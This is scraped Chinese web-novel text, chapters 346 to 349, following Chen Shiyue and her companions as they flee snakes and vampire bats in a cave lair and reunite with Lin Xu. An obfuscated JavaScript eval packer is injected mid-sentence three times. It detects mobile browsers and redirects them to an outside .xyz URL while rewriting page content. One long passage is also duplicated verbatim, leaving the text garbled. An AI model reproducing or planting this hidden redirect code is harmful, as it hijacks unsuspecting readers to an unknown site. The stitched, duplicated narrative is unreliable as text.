陈识月侧耳听着外面的动静,倒是真的没再听到脚步声什么的,“不着急,我先为迎春施针,别看她现在好似平稳下来,可失血太多,终究不是个事儿。”施针? “你拿好火折子,为我照明。”陈识月叮嘱。 冬梅连连点头,“好!” 火折子的光亮很羸弱,但没办法,如今的状况不允许他们燃起火把,或者是其他的照明物,一旦冒烟冒出明火,就会被他人所察觉。 但是,火折子也是有限的。 再这样下去,火折子也得废了,到时候他们便什么光都没了…… 正是担心如此,所以只有一根火折子照明,每个人都省点用,在没有出去之前,所有的状况都有可能发生,必须要给自己留有退路。 针尖沾血,陈识月下针很小心,一则是环境太黑,二则自己也有些撑不住,身心俱疲,这样的状况下,每一针都得三思,但又得既快又准,不能有任何的耽搁。 迎春有些低哼,嘴里似乎是嘀咕了什么,额头不断有冷汗渗出,大概是因为失血过多的缘故,通体冰凉,甚至于身子都有些轻微的发颤。 “坚持一下。”冬梅伏在她耳畔低语,“迎春,别动别动!” 许是听到,被安抚住,迎春逐渐平静下来,靠在冬梅的怀中,任由陈识月下针。 约莫过了一刻钟左右,迎春面色稍缓,呼吸均匀,瞧着似乎情况有所好转,只是等到施针结束,冬梅才发现陈识月似乎有些不太对劲。 徐徐将迎春放开,让她靠在了岩壁上,冬梅褪下外衣盖在了迎春的身上,“姑娘,你休息一会,脸色很差。” 可能是累着了? 先前吓着,如今累着,可不是身心俱疲嘛! “好!”陈识月脱力般靠在岩壁处,想说点什么,奈何眼皮子越来越重,到最后脑袋一歪就睡了过去,仿佛是累到了极处。 指尖的取血伤早已愈合,但是每次的取血都好似在耗费她的精气神,让她整个人都快速萎靡下来,疲惫不堪,倦怠不已。 “姑娘?”冬梅心头一紧。 没有回应。 “姑娘?”冬梅又低唤一声。 她怎么觉得这状况不太对? 第三百四十六章 那是属于他的猎物 别说是冬梅,便是那些护卫也跟着呼吸一滞,想着别是姑娘受了伤,却忍着不言语吧? 冬梅头一次心里发颤,伸出去的手都是颤抖的。 蓦地,她松了口气,“还好!” 有呼吸,会呼吸的! 姑娘没事,可能只是睡着了! 见此情形,边上的护卫都跟着长长吐出一口气,各自如释重负。 还好,还好! 那些背囊都在打斗的过程中丢失,如今他们只剩下了彼此,还有一些随身携带的物件,其他的什么都没了。 冬梅摸了摸自个的怀里,还有几个饼,这是最后的口粮…… 外头,很安静。 安静得让人有些心惊胆战,总觉得事情不会就这么结束的。 但眼下,谁也不敢出去。 陈识月睡得很沉很沉,也不知道怎么的,总觉得自己好像陷在一个奇奇怪怪的地方,怎么都出不去,周遭好似有无形的牢笼,将她牢牢的困锁在其中,任凭她如何挣扎,怎么折腾都无法冲出去。 没人听得到她的嘶喊,无人来救她,她立于天地间,孤立无援…… 叫天天不应,叫地地不灵。 “姑娘?” 耳畔,有人在呼喊。 “姑娘!” 身子好似被推搡了一下。 陈识月猛地睁开眼,忽的吓了冬梅一跳,愣是不敢吐出半句话,只是直勾勾的盯着陈识月,一时间不知道该说什么? 好似终于回过神来,陈识月目光转动,瞧着围拢在自己周围的人。 护卫都在。 冬梅发愣。 羸弱的火折子光亮,照应着每张脸。 大家都在,每个人都担心着她。“姑娘?”冬梅小声的开口,生怕把她叫醒,又怕叫不醒她,嗓音里满是犹豫之色,“姑娘,你是醒着呢?还是在做梦啊?” 陈识月抬起手,轻轻摸了摸冬梅的脸,“睡得太死,吓着你们了?” “没事就好!”冬梅如释重负,“没事就好!” 陈识月喘口气,疲惫感渐渐消失,人也开始清明起来,不似之前浑浑噩噩,倦怠难耐,“我像是做了一场很长很长的梦,困在了梦境里出不来。” “肯定是吓着,又累着了。”冬梅宽慰,“等我们出去,就不会这样了。” 陈识月看向迎春,“迎春如何?” “之前起了一下热,后来就没事了。”冬梅解释,“我瞧着还算不错,伤口没有再出血。” 陈识月点点头,空气里弥漫着血腥味,他们不能在这里久留,还是得尽快出去才行,尤其是现在,大家身上都带着伤。 “也不知道林序他们如何?”陈识月小声嘀咕。 他们都闹成这样,林序的情况肯定也好不到哪儿去…… 迎春是在一个时辰之后醒来的,倒是没什么大碍,就是瞧着有些虚弱,毕竟是流了那么多的血。 “吃个饼。”冬梅掏出自己的饼递过去,“不管饿不饿的,必须吃点喝点,这样才有体力,才能让伤口恢复得更快一些。” 迎春白了一张脸,把玩着手中的饼,“你真当我是弱鸡啊?一点小伤而已,只是当时有点猝不及防,才会中了暗算,要不然的话……呵!” “行了,说这些还有什么意思?你都挨了一箭了,还要逞强?”冬梅轻嗤,“如今就是这么个状况,你还是赶紧好起来,莫要拖累姑娘。” 说到这个,迎春嗓音里带着几分愧疚,“姑娘,是我连累了你,要不然……你早就出去了!” “我们是一伙的,说这话不是太见外了吗?若是我遇险,你救不救?”陈识月问。 迎春急忙回答,“必须救。” “那不就成了吗?人心换人心。”陈识月给迎春把脉,确定脉象还算平稳,如释重负的松了口气,“你刚醒来,缓一缓咱再走。” 待在这里没吃没喝的,而且太过闭塞,实在不是事。 这边的洞口被堵住了,要想重新清出来,没那么容易,所以他们很可能不会再处理,而是另寻出口,就是不知道出口会不会也在附近呢? 迎春吃了半个饼,实在是咽不下,喝了点水便算是彻底清醒了,这洞窟很小,只能猫着腰或者是蹲在地上,根本没办法站直身子。 伸了个懒腰,迎春看了看自己的胳膊,揉了揉酸胀的后脖颈,“姑娘,我们该走了吧?” 陈识月点点头,冬梅示意众人不要轻举妄动,她先出去看看。 如今大家都是伤者,唯有冬梅还算不错,只是一些皮外轻伤,由她来探路,自然是最好不过的,但经过这些事,洞窟里的众人必定戒备心甚重,稍有风吹草动,就会惊动所有人。现在他们应该也加强巡逻,正在搜寻陈识月他们…… 万事,当小心。 摸了一会路,冬梅便回来带走了陈识月他们,这地方不能久留,每个地方他们都不能久留,毕竟身上都有伤,多多少少会留下痕迹的。 也亏得冬梅他们动作快,这厢刚走没多久,后面便来了一帮人,找到了这个洞窟。 洞窟内有血腥味,还有活动过的脚印,这是没办法遮掩的事实。 “他们在这里待过。”有人冷声开口,“人肯定还没走远,一定还在附近。” 说着,他抬起头,环顾周围,面具下的一双眸子,幽冷中绽着浓郁的杀意。 “给我搜!”男人音色狠戾,“一定要把人抓住,否则门主那边不好交代,咱们都不会有好日子过的。听明白了吗?” “是!” 男人负手而立,“搜!” 人肯定没跑远…… “是!” 火光摇曳,众人连岩石缝隙都不放过,开始地毯式搜查。 “血腥味。”男人好似略有些沉迷,弯腰猫在了洞窟内,用力的轻嗅着空气里的气息,“很甜嘛!” 这里面,有他熟悉的味道,青面獠牙的鬼面,遮不住他眼底的贪婪与疯狂,好似嗅到了猎物一般,欣喜到无以复加的地步。 “护法,前面发现了线索。”有人来报。 闻言,男人快速猫着腰钻出了洞窟,兴致勃勃的往前走去,“有什么消息一定要第一时间通知我,这可是我的小老鼠,一定得由我来亲自抓。” 底下人都有些愣怔,一直一来,护法都是冷冰冰的模样,有什么事也都是照章办事,没有情分可言,但是这一次好像有点不一样。 哪儿不一样呢? 莫名的兴奋。 莫名的激动。 他平静了万年的情绪,好似头一次起了波澜…… 这种情绪似乎影响到了陈识月,她忽然止住脚步回头去看,心里七上八下的,总觉得有什么东西跟着自己? “怎么了?”迎春问。 陈识月摸了摸不安的心口,“没事。”别说是冬梅,便是那些护卫也跟着呼吸一滞,想着别是姑娘受了伤,却忍着不言语吧? 冬梅头一次心里发颤,伸出去的手都是颤抖的。 蓦地,她松了口气,“还好!” 有呼吸,会呼吸的! 姑娘没事,可能只是睡着了! 见此情形,边上的护卫都跟着长长吐出一口气,各自如释重负。 还好,还好! 那些背囊都在打斗的过程中丢失,如今他们只剩下了彼此,还有一些随身携带的物件,其他的什么都没了。 冬梅摸了摸自个的怀里,还有几个饼,这是最后的口粮…… 外头,很安静。 安静得让人有些心惊胆战,总觉得事情不会就这么结束的。 但眼下,谁也不敢出去。 陈识月睡得很沉很沉,也不知道怎么的,总觉得自己好像陷在一个奇奇怪怪的地方,怎么都出不去,周遭好似有无形的牢笼,将她牢牢的困锁在其中,任凭她如何挣扎,怎么折腾都无法冲出去。 没人听得到她的嘶喊,无人来救她,她立于天地间,孤立无援…… 叫天天不应,叫地地不灵。 “姑娘?” 耳畔,有人在呼喊。 “姑娘!” 身子好似被推搡了一下。 陈识月猛地睁开眼,忽的吓了冬梅一跳,愣是不敢吐出半句话,只是直勾勾的盯着陈识月,一时间不知道该说什么? 好似终于回过神来,陈识月目光转动,瞧着围拢在自己周围的人。 护卫都在。 冬梅发愣。 羸弱的火折子光亮,照应着每张脸。 大家都在,每个人都担心着她。“姑娘?”冬梅小声的开口,生怕把她叫醒,又怕叫不醒她,嗓音里满是犹豫之色,“姑娘,你是醒着呢?还是在做梦啊?” 陈识月抬起手,轻轻摸了摸冬梅的脸,“睡得太死,吓着你们了?” “没事就好!”冬梅如释重负,“没事就好!” 陈识月喘口气,疲惫感渐渐消失,人也开始清明起来,不似之前浑浑噩噩,倦怠难耐,“我像是做了一场很长很长的梦,困在了梦境里出不来。” “肯定是吓着,又累着了。”冬梅宽慰,“等我们出去,就不会这样了。” 陈识月看向迎春,“迎春如何?” “之前起了一下热,后来就没事了。”冬梅解释,“我瞧着还算不错,伤口没有再出血。” 陈识月点点头,空气里弥漫着血腥味,他们不能在这里久留,还是得尽快出去才行,尤其是现在,大家身上都带着伤。 “也不知道林序他们如何?”陈识月小声嘀咕。 他们都闹成这样,林序的情况肯定也好不到哪儿去…… 迎春是在一个时辰之后醒来的,倒是没什么大碍,就是瞧着有些虚弱,毕竟是流了那么多的血。 “吃个饼。”冬梅掏出自己的饼递过去,“不管饿不饿的,必须吃点喝点,这样才有体力,才能让伤口恢复得更快一些。” 迎春白了一张脸,把玩着手中的饼,“你真当我是弱鸡啊?一点小伤而已,只是当时有点猝不及防,才会中了暗算,要不然的话……呵!” “行了,说这些还有什么意思?你都挨了一箭了,还要逞强?”冬梅轻嗤,“如今就是这么个状况,你还是赶紧好起来,莫要拖累姑娘。” 说到这个,迎春嗓音里带着几分愧疚,“姑娘,是我连累了你,要不然……你早就出去了!” “我们是一伙的,说这话不是太见外了吗?若是我遇险,你救不救?”陈识月问。 迎春急忙回答,“必须救。” “那不就成了吗?人心换人心。”陈识月给迎春把脉,确定脉象还算平稳,如释重负的松了口气,“你刚醒来,缓一缓咱再走。” 待在这里没吃没喝的,而且太过闭塞,实在不是事。 这边的洞口被堵住了,要想重新清出来,没那么容易,所以他们很可能不会再处理,而是另寻出口,就是不知道出口会不会也在附近呢? 迎春吃了半个饼,实在是咽不下,喝了点水便算是彻底清醒了,这洞窟很小,只能猫着腰或者是蹲在地上,根本没办法站直身子。 伸了个懒腰,迎春看了看自己的胳膊,揉了揉酸胀的后脖颈,“姑娘,我们该走了吧?” 陈识月点点头,冬梅示意众人不要轻举妄动,她先出去看看。 如今大家都是伤者,唯有冬梅还算不错,只是一些皮外轻伤,由她来探路,自然是最好不过的,但经过这些事,洞窟里的众人必定戒备心甚重,稍有风吹草动,就会惊动所有人。现在他们应该也加强巡逻,正在搜寻陈识月他们…… 万事,当小心。 摸了一会路,冬梅便回来带走了陈识月他们,这地方不能久留,每个地方他们都不能久留,毕竟身上都有伤,多多少少会留下痕迹的。 也亏得冬梅他们动作快,这厢刚走没多久,后面便来了一帮人,找到了这个洞窟。 洞窟内有血腥味,还有活动过的脚印,这是没办法遮掩的事实。 “他们在这里待过。”有人冷声开口,“人肯定还没走远,一定还在附近。” 说着,他抬起头,环顾周围,面具下的一双眸子,幽冷中绽着浓郁的杀意。 “给我搜!”男人音色狠戾,“一定要把人抓住,否则门主那边不好交代,咱们都不会有好日子过的。听明白了吗?” “是!” 男人负手而立,“搜!” 人肯定没跑远…… “是!” 火光摇曳,众人连岩石缝隙都不放过,开始地毯式搜查。 “血腥味。”男人好似略有些沉迷,弯腰猫在了洞窟内,用力的轻嗅着空气里的气息,“很甜嘛!” 这里面,有他熟悉的味道,青面獠牙的鬼面,遮不住他眼底的贪婪与疯狂,好似嗅到了猎物一般,欣喜到无以复加的地步。 “护法,前面发现了线索。”有人来报。 闻言,男人快速猫着腰钻出了洞窟,兴致勃勃的往前走去,“有什么消息一定要第一时间通知我,这可是我的小老鼠,一定得由我来亲自抓。” 底下人都有些愣怔,一直一来,护法都是冷冰冰的模样,有什么事也都是照章办事,没有情分可言,但是这一次好像有点不一样。 哪儿不一样呢? 莫名的兴奋。 莫名的激动。 他平静了万年的情绪,好似头一次起了波澜…… 这种情绪似乎影响到了陈识月,她忽然止住脚步回头去看,心里七上八下的,总觉得有什么东西跟着自己? “怎么了?”迎春问。 陈识月摸了摸不安的心口,“没事。” 第三百四十七章 有蛇,快跑! 陈识月其实打心里挺相信自己的第六感的,所以这三番五次的心慌,她是有所察觉的,但眼下的状况不允许她说太多,迎春和冬梅都有伤,如今最要紧的是出去! 可不知道为什么,明明身边没有人,她却始终觉得有一双眼睛盯着她,如影随形…… 前面有人,众人慌忙躲避。 洞窟实在是太大了,仿佛这几座山都被串联在一起,一山还有一山,一会朝上,一会往下,一会左右皆有道,一会又是死路。 他们原是想原路返回的,可惜路都被堵**,冬梅早就探查过了,全部都是守卫,守卫人数翻了一倍,所以想回去是不可能。 “有味道。”陈识月忽然开口。 迎春不解,“什么味道?” “馒头。”陈识月说。 迎春:“……” 冬梅低笑,“姑娘这是饿了。” “不是,我认真的。”陈识月往前走,鼻尖轻嗅着,“这边!” 迎春和冬梅对视一眼,赶紧跟上。 说实话,他们都饿了。 陈识月闻着味就过去了,这地方好似没太多人,纵然忽然冒出几个守卫,也被冬梅和护卫解决了,没发出半点声响。 洞窟内,有人在生火做饭?? “我先进去看看。”冬梅毫不犹豫的往里面钻。 陈识月和迎春压根来不及拦阻,只能无奈的对视一眼,好在冬梅为了能吃上一口热饭,也算是拼了命,动作快准狠,眨眼间的功夫就从里面出来了。 “快来!”冬梅招招手,众人左顾右盼一番,赶紧进去。 内里很宽敞,厨子和帮厨横七竖八的躺在地上,一个两个都没了动静。 “我没下死手。”冬梅解释,“都还活着呢!” 迎春赶紧走向灶台,“是馒头!” “别动!”陈识月慌忙制止。 迎春:“??” 陈识月取出一根银针,“凡事小心为上,刀光剑影都过来了,不能折在这一口吃的上面,小心驶得万年,长乐门的人太狡诈,我们不能大意!” 这话有道理。 冬梅的手都抓到了馒头,又默默放了回去。 陈识月的怀疑不是没有道理的,这里有一排的灶台,全部蒸的馒头。 左边这两笼屉好似只剩下温热,且旁边还有摆放在外面的,现成的馒头。而右边这几个蒸笼一直在生火一直在冒烟,且没有留下的,似乎是蒸好久送走了。 陈识月的银针扎上去没多久,便已经呈现出了黑色,惊得冬梅掉头就去洗手。 “这是陷阱。”迎春明白了。 陈识月点头,“他们也防着有人偷吃呢!这边在加热,馒头要么没熟要么滚烫,若你进来偷馒头,这滚烫的东西肯定带不走多少,但是那边就不一样了,尚余温热,只要包袱一裹就能拿多少算多少。” 可这馒头,有毒啊! “浪费可耻!”冬梅咬牙切齿。 “这边的馒头大概都有毒,所以你们不要碰。”陈识月叹气。 迎春竖起大拇指,“姑娘真是睿智,什么都能猜到。” “我闻到的。”陈识月无奈的笑了笑,“那馒头热了一次又一次,虽然没有馊味,可到底是和刚出锅的不一样。” 迎春皱眉,“姑娘这辨别方式,还真是奇特。” “姑娘,那这……”冬梅饿了。 陈识月打开了笼屉,用筷子戳了一下,“可以了!” 他们来得巧,笼屉里的馒头正好熟了。 将笼屉全部打开,全部摆出来凉着,先吃,吃不完就带走,他们在这里不知道要折腾多久,必须要有干粮傍身。 别的就算了,吃的不能少…… 冬梅是真的饿坏了,饿死鬼投胎似的,吭哧吭哧的往嘴里送,角落里还有些凉菜和腌菜,还有些没送走的腌肉,正好搭着馒头吃。 什么都是现成的,先吃饱再说! 好一顿风卷残云,众人吃饱喝足,各自松了口气,能解决一顿是一顿,解决不了的……就带走! 收拾了厨房里能吃的东西,迎春和冬梅探头往外看,继而快速护着众人离开,想必等不到馒头的那些人定会闹起来,到时候人来厨房一看,就知道出了事…… 暗河边上,众人将随身的水袋灌满,可以几天没吃的,但不能不喝水,这是生命之源。 “姑娘,我们现在怎么办?困在这里了。”冬梅有些感慨,“这地方瞧着都差不多,不是石头就是石头,到处都是石头。” 环顾四周,的确如此。 “长乐门的人,就跟影子似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028142|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的缠着我们。”迎春看了一眼自己的伤口,还好冬梅拔箭及时,姑娘诊治及时,否则自己这条命都得葬送在这里。 陈识月想了想,“囚室里没有林序的下落,是不是意味着他也在到处乱跑?和我们一样呢?” “他是不是进来了还两说。”冬梅插了一嘴。 别说,还真别说,的确有这种可能。 “这么大的洞窟,肯定到处都是洞口,不可能进不来。”迎春摇头,“他肯定进来了,要么在别的山头,要么是出事了。” 最后那一句,迎春说得很轻很轻。 但愿,只是胡言乱语。 “生活在这里,肯定要有外援,吃食总归有吃完的时候……得出外采买。”陈识月坐在河边的石头上,水光潋滟,于昏暗中绽着诡异的光芒,“还有他们运送那些东西,顺河而下吗?” 思及此处,陈识月看向波涛汹涌的暗河。 身后的迎春和冬梅对视一眼,恍惚间也好似想明白了什么。 顺河而下? 会不会有惊喜? 众人意见统一,反正没有更好的意见,那就随意吧! 反正,安信是送出去了…… 冬梅带着一护卫在前面带路,其他人则跟在陈识月的身侧,仔细留意周遭的动静,所有人都轻手轻脚,小心翼翼的。 暗河边有不少守卫,都得一一避开。 忽然撕拉一声,吓了众人一跳,好像有什么东西从脚边滑过去,速度很快,因为四下一片漆黑,所以谁都没看清楚那是什么? “可能是老鼠?”迎春道。 陈识月闻到了一股子腥味,“可能是蛇。” 这地方阴暗潮湿,很适合蛇群生存。 “大家小心点!”迎春当即警醒众人,“可能有蛇,注意脚下和周围。” 众人旋即将陈识月围拢在内,两个护卫加上迎春就是三人,刚好围成三角,将陈识月藏在其中,目光锐利的环顾四周。 要是只一条蛇也就罢了,可偏偏…… 冬梅从前面快速回来,和那护卫跑得有些着急,“别过来,前面不对劲。” 陈识月脚步一顿。 不对劲? “怎么了?”迎春忙问。 冬梅低声疾呼,“有蛇有蛇,快跑!” 第三百四十八章 他等着她自投罗网 陈识月掉头就跑,“跑!” 管他什么蛇,有毒没毒都不能耽搁,必须撒腿就跑,尤其是……她跑得比所有人都慢,为了避免拖累大家,所以快些跑了再说。 冬梅不会害她,说的一定没错…… 一直跑,一直跑。 陈识月能听到那嘶嘶声,也能闻到空气里越来越浓的腥味,那是带鳞的爬行动物,自身所携带的气息,但是她从来不知道,这味能有这么重? 匪夷所思! 许久,后面似乎没动静了。 冬梅喊了声,众人当即停下来,这才敢回头去看,即便是在黑暗中,也能察觉到身边人的紧张,以及这慌乱的氛围。 所有人都喘着气,回头望着来时路,也不知道要说点什么? “冬梅,到底是怎么回事?”迎春终于得空发问,“一条蛇不足以如此吧?” 冬梅这会脸都是白的,可见她应该看到了什么瘆人的东西,“哪儿是一条,分明是一窝,那么大的坑,里面全是蛇,像是被养着似的?我当时全身的鸡皮疙瘩都起来了!” 跟着去的护卫连连点头,“我当时头皮发麻,看着那闪光的蛇鳞,真的是……太吓人了!” “都是毒蛇吗?”陈识月问。 冬梅一怔,“这……留意,当时看到那场景,我整个人都快疯了,实在是没顾得上细看,这有毒没毒的……还真是不清楚。” 当时很黑,就看见蛇了……滑溜溜的,扑闪扑闪的,很多很多条,实在是瘆人! “这有毒没有毒的,有什么区别吗?”迎春不明白。 陈识月想着,应该是无毒的,不然的话……怎么敢随意放纵?这地方没有门,似乎是肆意生长,又或者是有人豢养。 在这地方养蛇,真是绝了! 那人就不怕,蛇咬人吗? 回过神来,陈识月敛眸,“没什么区别,就是危害的大小,若是无毒的,最多吓一跳,但若是有毒的,咱可就得小心谨慎了,我身上解毒丸不多,且蛇毒跟其他的毒不太一样,有些毒……无药可解。” 若是野外倒也罢了,三步之内必有解药。 可这是石窟,除了石头……什么都没有! 跑了这么一圈,所有人都累了,毕竟都有伤,只能重新找个角落里窝着。 边上就是暗河,水声哗然。 声音有些吵闹,让陈识月莫名的心里烦躁。 “姑娘,您怎么了?”迎春忙问。 陈识月示意她不要紧张,“我去洗个手。” 总觉得手里好似也有味道,一股子腥味,说不出来的感觉,心里不得劲,这地方…… 有点诡异。 洗了手,她又洗了把脸,让自己脑子清楚了一些,这才快速转回众人身侧,一行人继续沿着暗河朝前走去,没有再逗留。 避开原来那条路,陈识月动不动回头张望,隐约觉得那双眼睛还在盯着自己,心里莫名的慌乱,脑子里莫名想起了冬梅口中的蛇…… 忽然间,头顶上猛地有东西哗啦啦飞过去。 惊得众人慌忙抱头蹲下。 冬梅和迎春一左一右,忙不迭将陈识月摁在二人中间,护着她周全。 声音渐远,唯余影子斑驳。 “是蝙蝠,大家别担心。”陈识月松了口气,“洞中本就多蛇虫鼠蚁和蝙蝠,只要这蝙蝠不是变种的异类,就没什么大碍。” 陈识月解释,众人松了口气。 “那就好!”迎春笑了笑。 只是,她高兴得太早了。 冬梅愕然,“回来了!” 刚刚飞走的蝙蝠,忽然间又飞了回来,顷刻间以迅雷不及掩耳之势,直接扑向了众人,令所有人始料不及。 “这怎么……”冬梅惊呼,“怎么回事?” 然而,这些蝙蝠对所有人都发动了攻击,唯独避开了陈识月。 陈识月脑瓜子嗡的炸开,不会真的与她想的那般? 自己这乌鸦嘴,不会真的说中了吧? “吸血蝙蝠!”陈识月失声惊呼,“大家快跑,快跑!找地方躲起来。” 迎春急了,“姑娘……” “它们吸血,你们身上有伤带血,会吸引它们,我身上没有伤口,你们不要顾及我!”陈识月率先躲到了石头后面。 见状,迎春低喝,“冬梅,跑!” 冬梅纵身一跃,快速逃离。 众人见状,立刻作鸟兽散。 吸血蝙蝠只针对他们,他们离姑娘越远,姑娘就越安全,等解决了它们,再来找姑娘不迟! “我会在这里等你们的!”陈识月低呼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029944|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不跑,就在这里等着,免得让他们担心。 所有人的动作都很快,毕竟都是练家子,几个纵身便快速离开,吸血蝙蝠很是凶猛,得尽快甩开它们才行…… 陈识月躲在那里,尽量将身子蜷成一团,与黑暗融为一体。 外面,逐渐平静下来。 偶尔还会传来,蝙蝠挥动翅膀的声音,其后又归于平静。 陈识月竖起耳朵,静静的听着,不知道他们什么时候回来,但只要躲开就没什么大碍,这里的蝙蝠似乎都跟着出去了。 时间一分一秒的过去,陈识月只觉得身子都渐渐倍感寒凉,只能双腿麻木的站起身来,若有所思的环顾四周。 怎么还没回来呢? 不只是人没回来,吸血蝙蝠飞出去之后也都没有回来,整个洞窟忽然间便得空空荡荡,安静得让人有种脊背发凉的感觉。 陈识月皱起眉头,小心翼翼的往外走。 空气里,隐约有股子腥味,就跟方才闻到蛇窝时的气味差不多。 一颗心忽然提到了嗓子眼,陈识月下意识的握紧了袖中的短刃,随时准备出手,倒不是怕蛇,只是担心忽然窜出来会吓自己一跳。 以往在山中采药的时候,她也是抓过不少蛇的…… 气味,越来越逼近。 陈识月撒腿就跑,不对,不对! 她的直觉,她的第六感在告诉她,不对,她等不到迎春和冬梅回来找她了,得尽快离开这里,且那双眼睛应该就在附近,甚至于……就在她身后! 跑! 陈识月没命的往前跑,顾不得其他。 后面隐约有窸窸窣窣的声音传来,陈识月更是没敢回头,脚下的路不平,她好几次险些摔跌出去,但又快速爬起来,几乎是连滚带爬的往前冲。 求生欲爆棚,心内是永不服输的意念。 蓦地,她止步。 气味在前面。 额角的汗扑簌簌落下,陈识月下意识的往后退,目光直勾勾的盯着前方,漆黑的山洞,唯有前面尚有一丝光亮,可那一抹光亮之中,仿佛有一道黑影,若守株待兔般,就等着她自投罗网。 陈识月喉间滚动,掉头就往侧边跑,绝不能被抓到! 腰间一紧,嘴巴猛地被捂住。 “唔……” 第三百四十九章 缠着她的,到底是什么? 那一刻,陈识月差点疯了,短刃与银针齐齐出手。 然而…… “是我!” 差一点,就差一点,短刃和银针都扎进去了。 别说是对面的林序,便是陈识月自己都吓得汗毛根根立起,天晓得,这短刃和银针扎下去,他不死也得残废,毕竟她与寻常人不同,深知人的死穴在哪儿。 额头的冷汗,伴随着脊背上的寒凉,扑簌簌的落下,陈识月差点连呼吸都忘了,回过神的时候,双手都在颤抖。 “月、月、月大夫?”林序又喊了一声。 短刃差点刺中他的心口,银针却直接对准他的命根子,差点让他丢命又绝种。 “林序?”陈识月快速收了**和银针,“你怎么在这?” 完事,她狠狠的捂着心口,轻轻锤了一下。 “差点被你吓死。”她闭了闭眼,“老天爷……” 林序抿唇,“没事吧?” “没事!”陈识月摆摆手。 林序环顾四周,这才开口追问,“月大夫,你怎么会在这里?就你一个人吗?我方才瞧着你一个劲的跑,是有什么在追你?” 正因为她这一通跑,他才会察觉到异常。 陈识月当即回过神,“你可看见我身后有什么东西在追我?” “嗯?”林序不解,“你不知道什么东西在追你,就拼命的跑?” 陈识月此刻正与他窝在狭小的缝隙里,当即探头出去看了一眼,“那你现在,可有瞧出什么端倪?比如说有什么东西跟着我?” “没有!”林序如实回答。 当着陈识月的面,林序是不会说谎的,所以他的确没看见有什么东西或者是人,追赶陈识月,只是瞧见陈识月一味的跑路。 “没有?”陈识月沉默了。 林序皱眉,“月大夫是遇见了什么?” “你遇见了什么?”陈识月抬头,“怎么会在这里?你不是带着人一起过来的吗?” 林序点头,“我们进来之后走散了。” “走散了?”陈识月诧异。 林序回想起当时的场景,仍是觉得没想明白,“被一群吸血蝙蝠追赶,后来就剩下我一人在这里等着,对了,此前闹起来,莫不是你们?” “安信安大人还活着。”陈识月压低了声音,“我们在囚室见到了他,然后把他救出去了,但是出了点意外,我们把洞口给弄塌,就没能跟着出去,只能在这里像没头苍蝇似的乱转。后来大家决定沿着暗河走,他们此前有船只在暗河上运转,想来沿着河岸走也是可以出去的。” 林序听到“安信还活着”的时候,整个人都振奋了,当下扣住了陈识月的胳膊,“安信真的还活着?他看到了凶手?那个骑着汗血宝马的人?” “这个答案,我给不了。”陈识月如实解释,“他被人剜目割舌切耳,连手筋脚筋都被断去,能活着已经是阎王爷让路,我用药和银针吊着他一口气,终于送他出了洞窟。” 至于出去之后会如何,她也无法保证。 但,他们都尽力了。 “该死!”林序一拳砸在石头上。 听到陈识月言简意赅的描述,心头便如同刀割一般疼痛,那是他并肩而战的兄弟,浴血沙场的手足,没想到竟在这天子脚下,最繁华的地方,落得如此下场。 怎不让他痛断肠? 怎不叫他恨咬牙? “我们方才也是遇见了吸血蝙蝠,因为各自身上都有伤口,蝙蝠闻到了血腥味就追,所以大家都分散跑开了。”陈识月顿了顿,“你们当时有人受伤?” 林序一怔,“没有。” “不可能!”陈识月摇摇头,很肯定的告诉他,“吸血蝙蝠对血腥味很敏感,你们若是身上没有伤口,没有出血,没有血腥味,它们作何追着你们?” 林序也很肯定的回答,“我们进来的时候都很小心,除了遇见熊**两个弟兄,后面压根没跟他们动手,何来的皮外伤,何来的血腥味呢?” 两人四目相对,竟是都保持了缄默。 莫名的,有种被人算计的感觉…… 半晌过后,林序才低声开口,“那就是说,我们当时可能被人算计了,其中必有人作祟,在我们当中有叛徒?会是他吗?” **。 没有证据,猜测只能是猜测。 “人都没回来?”陈识月问。 林序点头,“我们是从那边绕过来的,跟你们大概是前后脚的功夫,刚绕过来的时候,恰逢你们闹起来,若是早知道是你们,必定过去帮衬。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034292|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但当时的状况,他们没找到门路,也没找到汗血宝马,还**两个弟兄,自然是分外小心谨慎,所以当时便躲起来了,没有冲过去。 尤其是后来察觉到了**很多人,更是意识到事情不对,料到此处会加强戒备,赶紧离开这个是非之地…… 谁曾想,竟遇见了吸血蝙蝠。 “熊。”陈识月深吸一口气,“被我们解决了。” 林序诧异,“被你们解决了?” “冬梅和迎春出手,我动了点手脚,杀了那头熊,还用毒……灭了不少长乐门的人。”陈识月低声解释,“虽然手段不光彩,但他们本就不是什么好人,不光彩便不光彩吧!” 林序不以为意,“对付他们,还需要什么光彩?敢把安信伤成这样,说明老二他们的事儿,就是长乐门干的,我定然不会放过他们。” “你也没找到汗血宝马?”陈识月问。 